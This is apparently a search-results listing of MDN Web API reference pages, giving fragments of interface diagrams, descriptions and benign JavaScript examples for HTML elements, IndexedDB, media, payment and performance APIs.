...e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:h...
...And 2 more matches
HTMLLIElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
...le">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px"...
... font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line...
...And 2 more matches
HTMLLinkElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><tex...
...t x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" t...
...arget="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" strok...
...And 2 more matches
HTMLMediaElement.play() - Web APIs
this may happen, for example, if the browser requires the user to explicitly start media playback by clicking a "play" button.
... usage notes although the term "autoplay" is usually thought of as referring to pages that immediately begin playing media upon being loaded, web browsers' autoplay policies also apply to any script-initiated playback of media, including calls to play().
... example this example demonstrates how to confirm that playback has begun and how to gracefully handle blocked automatic playback: let videoelem = document.getelementbyid("video"); let playbutton = document.getelementbyid("playbutton"); playbutton.addeventlistener("click", handleplaybutton, false); playvideo(); async function playvideo() { try { await videoelem.play(); playbutton.classlist.add("playing"); } catch(err) { playbutton.classlist.remove("playing"); } } function handleplaybutton() { if (videoelem.paused) { playvideo(); } else {...
...And 2 more matches
HTMLObjectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" f...
...ill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" st...
...roke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><lin...
...And 2 more matches
HTMLOutputElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline p...
...oints="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale ...
...mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" st...
...And 2 more matches
HTMLParagraphElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polylin...
...e points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,anda...
...le mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90"...
...And 2 more matches
HTMLSelectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><p...
...olyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monac...
...o,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y...
...And 2 more matches
HTMLVideoElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#f...
...ff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4...
...dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline...
...And 2 more matches
HashChangeEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
...dle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/hashchangeevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">hashchangeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits the properties of its parent, event.
... examples syntax options for a hash change you can listen for the hashchange event using any of the following options: window.onhashchange = funcref; or <body onhashchange="funcref();"> or window.addeventlistener("hashchange", funcref, false); basic example function locationhashchanged() { if (location.hash === '#somecoolfeature') { somecoolfeature(); } } window.addeventlistener('hashchange', locationhashchanged); polyfill there are several fallback scripts listed on the modernizr github page.
...And 2 more matches
Working with the History API - Web APIs
example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.
... in a sense, calling pushstate() is similar to setting window.location = "#foo", in that both will also create and activate another history entry associated with the current document.
...in contrast, setting window.location = "#foo"; creates a new history entry only if the current hash isn't #foo.
...And 2 more matches
IDBCursor - Web APIs
WebAPIIDBCursor
(bug 891944) next : "next" : the cursor shows all records, including duplicates.
... nextunique : "nextunique" : the cursor shows all records, excluding duplicates.
... prev : "prev" : the cursor shows all records, including duplicates.
...And 2 more matches
IDBDatabase - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbdatabase" target="_top"><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbdatabase</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties idbdatabase.name read on...
...for a complete working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the idbdatabase object, // when the database is opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable.
...And 2 more matches
Basic concepts - Web APIs
overview of indexeddb indexeddb lets you store and retrieve objects that are indexed with a "key." all changes that you make to the database happen within transactions.
...you don't "store" a value into the database, or "retrieve" a value out of the database through synchronous means.
... instead, you "request" that a database operation happens.
...And 2 more matches
KeyframeEffect.KeyframeEffect() - Web APIs
defaults to "normal".
...accepts the pre-defined values "linear", "ease", "ease-in", "ease-out", and "ease-in-out", or a custom "cubic-bezier" value like "cubic-bezier(0.42, 0, 0.58, 1)".
... defaults to "linear".
...And 2 more matches
KeyframeEffectOptions - Web APIs
defaults to "normal".
...accepts the pre-defined values "linear", "ease", "ease-in", "ease-out", and "ease-in-out", or a custom "cubic-bezier" value like "cubic-bezier(0.42, 0, 0.58, 1)".
... defaults to "linear".
...And 2 more matches
MediaRecorder.resume() - Web APIs
when the resume() method is invoked, the browser queues a task that runs the following steps: if mediarecorder.state is "inactive", raise a dom invalidstate error and terminate these steps.
... if mediarecorder.state is not "inactive", continue to the next step.
... set mediarecorder.state to "recording".
...And 2 more matches
MediaRecorder.stop() - Web APIs
when the stop() method is invoked, the ua queues a task that runs the following steps: if mediarecorder.state is "inactive", raise a dom invalidstate error and terminate these steps.
... if the mediarecorder.state is not "inactive", continue on to the next step.
... set the mediarecorder.state to "inactive" and stop capturing media.
...And 2 more matches
MediaSessionActionDetails - Web APIs
fastseek optional an seekto action may optionally include this property, which is a boolean value indicating whether or not to perform a "fast" seek.
... a "fast" seek is a seek being performed in a rapid sequence, such as when fast-forwarding or reversing through the media, rapidly skipping through it.
... let skiptime = 10; // time to skip in seconds navigator.mediasession.setactionhandler('seekforward', evt => { // user clicked "seek forward" media notification icon.
...And 2 more matches
MediaTrackConstraints.facingMode - Web APIs
an exact value in this case indicates that the specified facing mode is specifically required; for example: var constraints = { facingmode: { exact: "user" } }; this indicates that only a user-facing camera is acceptable; if there is no user-facing camera, or the user declines permission to use that camera, the media request will fail.
... "user" the video source is facing toward the user; this includes, for example, the front-facing camera on a smartphone.
... "environment" the video source is facing away from the user, thereby viewing their environment.
...And 2 more matches
Microdata DOM API - Web APIs
code example this sample shows how the getitems() method can be used to obtain a list of all the top-level microdata items of a particular type given in the document: var cats = document.getitems("http://example.com/feline"); once an element representing an item has been obtained, its properties can be extracted using the properties idl attribute.
... code example this sample gets the first item of type "http://example.net/user" and then pops up an alert using the "name" property from that item.
... code example in an earlier example, a "http://example.org/animals#cat" item had two "http://example.com/color" values.
...And 2 more matches
MouseEvent.pageX - Web APIs
WebAPIMouseEventpageX
javascript var box = document.queryselector(".box"); var pagex = document.getelementbyid("x"); var pagey = document.getelementbyid("y"); function updatedisplay(event) { pagex.innertext = event.pagex; pagey.innertext = event.pagey; } box.addeventlistener("mousemove", updatedisplay, false); box.addeventlistener("mouseenter", updatedisplay, false); box.addeventlistener("mouseleave", updatedisplay, false); the javascript code uses addeven...
... html <div class="box"> <p> move the mouse around in this box to watch its coordinates change.
... </p> <p> <code>pagex</code>: <span id="x">n/a</span> </p> <p> <code>pagey</code>: <span id="y">n/a</span> </p> </div> the html is simple; the box we'll be watching for mouse events on is given the class "box".
...And 2 more matches
MouseEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stro...
...ke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a x...
...link:href="/docs/web/api/mouseevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mouseevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mouseevent() creates a mouseevent object.
...And 2 more matches
Online and offline events - Web APIs
this property is updated whenever the user switches into "offline mode" by selecting the corresponding menu item (file -> work offline in firefox).
... "online" and "offline" events firefox 3 introduces two new events: "online" and "offline".
...(note: using window.ononline or window.onoffline will not work for compatibility reasons.) by specifying ononline="..." or onoffline="..." attributes on the <body> tag in the html markup.
...And 2 more matches
OffscreenCanvas - Web APIs
to display the imagebitmap, you can use a imagebitmaprenderingcontext context, which can be created by calling canvas.getcontext("bitmaprenderer") on a (visible) canvas element.
... given these two <canvas> elements <canvas id="one"></canvas> <canvas id="two"></canvas> the following code will provide the rendering using an offscreencanvas as described above.
... var one = document.getelementbyid("one").getcontext("bitmaprenderer"); var two = document.getelementbyid("two").getcontext("bitmaprenderer"); var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); // ...
...And 2 more matches
Page Visibility API - Web APIs
the example, which pauses the video when you switch to another tab and plays again when you return to its tab, was created with the following code: // set the name of the hidden property and the change event for visibility var hidden, visibilitychange; if (typeof document.hidden !== "undefined") { // opera 12.10 and firefox 18 and later support hidden = "hidden"; visibilitychange = "visibilitychange"; } else if (typeof document.mshidden !== "undefined") { hidden = "mshidden"; visibilitychange = "msvisibilitychange"; } else if (typeof document.webkithidden !== "undefined") { hidden = "webkithidden"; visibilitychange = "webkitvisibilitychange"; } var videoelement = ...
...document.getelementbyid("videoelement"); // if the page is hidden, pause the video; // if the page is shown, play the video function handlevisibilitychange() { if (document[hidden]) { videoelement.pause(); } else { videoelement.play(); } } // warn if the browser doesn't support addeventlistener or the page visibility api if (typeof document.addeventlistener === "undefined" || hidden === undefined) { console.log("this demo requires a browser, such as google chrome or firefox, that supports the page visibility api."); } else { // handle page visibility change document.addeventlistener(visibilitychange, handlevisibilitychange, false); // when the video pauses, set the title.
... // this shows the paused videoelement.addeventlistener("pause", function(){ document.title = 'paused'; }, false); // when the video plays, set the title.
...And 2 more matches
PaymentCurrencyAmount.value - Web APIs
an optional leading minus sign ("-") can be included to indicate a negative value, such as to represent a refund or discount.
... important note: the number given in this string is always specified using the period (".") as the decimal point, rather than the comma (","), even if the user's locale normally uses the comma.
...this must be a valid decimal number, with an optional leading minus sign ("-"), then one or more decimal digits 0 through 9, optionally with a decimal point (".") with at least one digit following it to represent fractional units.
...And 2 more matches
performance.clearResourceTimings() - Web APIs
the clearresourcetimings() method removes all performance entries with an entrytype of "resource" from the browser's performance data buffer and sets the size of the performance data buffer to zero.
... example function load_resource() { var image = new image(); image.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; } function clear_performance_timings() { if (performance === undefined) { log("browser does not support web performance"); return; } // create a resource timing performance entry by loading an image load_resource(); var supported = typeof performance.clearresourcetimings == "function"; if (supported) { console.log("run: performance.clearreso...
...urcetimings()"); performance.clearresourcetimings(); } else { console.log("performance.clearresourcetimings() not supported"); return; } // getentries should now return zero var p = performance.getentriesbytype("resource"); if (p.length == 0) console.log("...
...And 2 more matches
performance.measure() - Web APIs
the measure's performance entry will have the following property values: entrytype - set to "measure".
... name - set to the "name" given when the measure was created.
... const markernamea = "example-marker-a" const markernameb = "example-marker-b" // run some nested timeouts, and create a performancemark for each.
...And 2 more matches
PerformanceEntry - Web APIs
performanceentry.entrytype read only a domstring representing the type of performance metric such as, for example, "mark".
... function print_performanceentries() { // use getentries() to get a list of all performance entries var p = performance.getentries(); for (var i=0; i < p.length; i++) { console.log("performanceentry[" + i + "]"); print_performanceentry(p[i]); } } function print_performanceentry(perfentry) { var properties = ["name", "entrytype", "starttime", "duration"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var valu...
...e = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceObserverEntryList.getEntries() - Web APIs
syntax general syntax: entries = list.getentries(); entries = list.getentries(performanceentryfilteroptions); specific usage: entries = list.getentries({name: "entry_name", entrytype: "mark"}); parameters performanceentryfilteroptionsoptional is a performanceentryfilteroptions dictionary, having the following fields: "name", the name of a performance entry.
... "entrytype", the entry type.
... "initiatortype", the type of the initiating resource (for example an html element).
...And 2 more matches
PerformanceResourceTiming.connectEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { va...
...r value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.connectStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
